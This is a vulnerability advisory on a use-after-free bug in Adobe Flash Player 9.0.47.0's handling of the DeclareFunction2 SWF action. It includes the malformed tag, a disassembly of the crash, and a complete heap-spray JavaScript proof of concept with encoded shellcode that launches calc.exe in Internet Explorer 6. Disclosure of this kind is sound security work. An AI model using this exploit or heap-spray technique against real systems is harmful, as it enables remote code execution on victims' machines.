ZDI advisory: http://www.zerodayinitiative.com/advisories/ZDI-08-021/

Adobe advisory: http://www.adobe.com/support/security/bulletins/apsb08-11.html

Vallejo.cc advisory:

Adobe Flash Player (ActiveX 9.0.47.0) Memory being used after free. Exploitable.

Javier Vicente Vallejo (j.v.vallejo [_at_]gmail.com, http://www.vallejo.cc)

Abstract

Adobe Flash Player is prone to a "after free" vulnerability when parsing malformed SWF tags (the problem occurs exactly with DeclareFunction2 action). Successful exploitation via Web Browser requires that the attacker should trick the user into visiting a specially crafted webpage.

Affected versions

Tested with Adobe Flash Player 9.0.47.0. Due to the difficulty of exploting it, I give here a proof of concept exploit that will work on Internet Explorer 6.0.2900.2180.xpsp_sp2_gdr.070227-2254, but it worked with other versions. I have not tested it with SAFlashPlayer.exe.

Analysis

SWF format:

Flash SWF format is a fully documented format. It starts with a header, following by tags, and ending with the EndTag tag. You can find documentation about the SWF format easily over the internet.

The following structures were extracted from: http://sswf.sourceforge.net/SWFalexref.html.

Tags have this structure:

```
struct swf_tag {
       unsigned short          f_tag_and_size;
       f_tag = f_tag_and_size >> 6;
       f_tag_data_size = f_tag_and_size & 0x3F;
       if(f_tag_data_size == 63) {
               unsigned long   f_tag_data_real_size;
       }
       else {
               f_tag_data_real_size = f_tag_data_size;
       }
};
```

Some tags contain "actions" (actionscript resulting code). Actions have this structure:

```
struct swf_action {
       char align;
       unsigned                f_action_has_length : 1;
       unsigned                f_action_id : 7;
       if(f_action_has_length) {
               unsigned short          f_action_length;
               unsigned char           f_action_data[f_action_length];
       }
};
```

And they are concatenated into tags that support actions.

The action that causes this error is the DeclareFunction2 action (action code = 0x8e), contained into a DoInitActions tag. This action has the following structure:

```
string         f_name;
unsigned short f_arg_count;
unsigned char  f_reg_count;
unsigned short f_declare_function2_reserved : 7;
unsigned short f_preload_global : 1;
unsigned short f_preload_parent : 1;
unsigned short f_preload_root : 1;
unsigned short f_suppress_super : 1;
unsigned short f_preload_super : 1;
unsigned short f_suppress_arguments : 1;
unsigned short f_preload_arguments : 1;
unsigned short f_suppress_this : 1;
unsigned short f_preload_this : 1;
swf_params     f_params[f_arg_count];
unsigned short f_function_length;
```

This action is used to declare functions (with more actions into it) that could be called later. Functions declared with this action support 255 regs that could be manipulated into the function. Also it is possible to control the preloading or suppressing of the different internal variables: this, arguments, super, _root, _parent and _global. The preloading bits indicate in which register to load the given internal variable. The suppressing bits indicate which internal variable not to create at all. The *f_reg_count* parameter needs to be specified and it tells the flash player the largest register number in use in this function. By default, these registers are initialized as *undefined*. The variables automatically loaded in registers are loaded starting at register 1. The internal variables are loaded in this order: **this**, **arguments**, **super**, **_root**, **_parent** and **_global**. Thus, if you call a function which accepts three user parameters and wants **this** and **_parent**, it will load **this** in register 1, **_parent** in register 2 and the user parameters can be loaded in registers 3, 4 and 5.

The bug occurs when, under some conditions and previous tags, you declare a function with some number of regs but suppressing this, super and arguments:

```
<DeclareFunction2 name="" argc="0" regc="3" preloadThis="1" suppressThis="1"
preloadArguments="1" suppressArguments="1" preloadSuper="1" suppressSuper="1"
preloadRoot="0" preloadParent="1" preloadGlobal="0" reserved="1">
```

(I use swfmill.exe to get the xml representation of the SWF file).

(Note: It seems the bug only occurs if the reserved field is set).

Disasemblies:

```
text:30058022
.text:30058022 sub_30058022   proc near            ; CODE XREF: sub_3005883A+3p
.text:30058022             push   ebx
.text:30058023             push   esi
.text:30058024             mov    esi, ecx
.text:30058026             xor    ebx, ebx
.text:30058028             cmp    [esi+3Dh], bl
.text:3005802B             mov    dword ptr [esi], offset off_301A8FB0
.text:30058031             jz     short loc_3005805C
.text:30058033             mov    eax, [esi+24h]
.text:30058036             push   edi
.text:30058037             mov    edi, [eax+1Ch]
.text:3005803A             push   dword ptr [esi+30h]
.text:3005803D             mov    ecx, edi
.text:3005803F             call   sub_30188B70
.text:30058044             push   dword ptr [esi+40h]
.text:30058047             mov    ecx, edi
.text:30058049             call   sub_30188B70
.text:3005804E             mov    ecx, [esi+0Ch]
```

```
.text:30058051          cmp    ecx, ebx
.text:30058053          pop    edi
.text:30058054          jz     short loc_3005805C
.text:30058056          mov    eax, [ecx]    (*1)
.text:30058058          push   1
.text:3005805A          call   dword ptr [eax]
```

(*1) At 30058056, ecx is pointing to a object (a c++ class). When the conditions for the bug are satisfied, that memory is valid, but it is not the object that should be. The memory was free previously, but the pointer is being used yet. At 3005805A a call to a virtual function is done, but the address where it jumps is corrupted.

Proof Of Concept

The address where the flash player jumps when the vulnerability occurs seems to be very fixed across executions, unless we change the heap with other methods.

I have used heap spraying to exploit this vulnerability. With javascript arrays we can create N heap blocks of size S.

The address where the player jumps changes while we are modifying the heap, and the heap will contain our heap blocks with our slides and shellcodes. So modifying N and S we can exploit the vulnerability for any environment.

Here I provide the PoC to exploit the vulnerability on Internet Explorer 6.0.2900.2180.xpsp_sp2_gdr.070227-2254 (the exploit seems to work better when the browser is called with the url as command line parameter: "iexplore.exe http://www.host.com/a.htm". Otherwise the exploit fails sometimes). I have tested with other versions and modifying N and S, and it worked too. Most test was done with a Windows XP Sp2 with last patchs and updates, .Net framework, Java vm installed, etc…

The shellcode executes calc.exe.

Here is the heap spraying java script code:

```
<HTML>
<BODY>

<SCRIPT>

var payLoadCode=unescape(
"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");


  var spraySlide = unescape("%u9090%u9090");


  function getSpraySlide(spraySlide, spraySlideSize)
                {
                        while (spraySlide.length*2<spraySlideSize)
                        {
                                spraySlide += spraySlide;
                        }
                        spraySlide = spraySlide.substring(0,spraySlideSize/2);
                        return (spraySlide);
                }

  var heapBlockSize = 0x98000;
  var SizeOfHeapDataMoreover = 0x26;
  var payLoadSize = (payLoadCode.length * 2);
  var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
  var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

  var memory = new Array();
  spraySlide = getSpraySlide(spraySlide,spraySlideSize);

  heapBlocks=1470;

  for (i=0;i<heapBlocks;i++)
  {
     memory[i] = spraySlide +  payLoadCode;
  }

</SCRIPT>

<input language=JavaScript type=button value="nothing">

<object width="550" height="400">
<param name="movie" value="a.swf">
<embed src="a.swf" width="550" height="400"></embed>
</object>

</BODY>
</HTML>
```

And attached there is a SWF causing the vulnerability that will work with the previous code (/proyectos/flashplayer1_files/vulnfiles.rar)

References

http://sswf.sourceforge.net/SWFalexref.html
http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php

Credits

Analysis performed and vulnerability discovered by Javier Vicente Vallejo.

http://www.vallejo.cc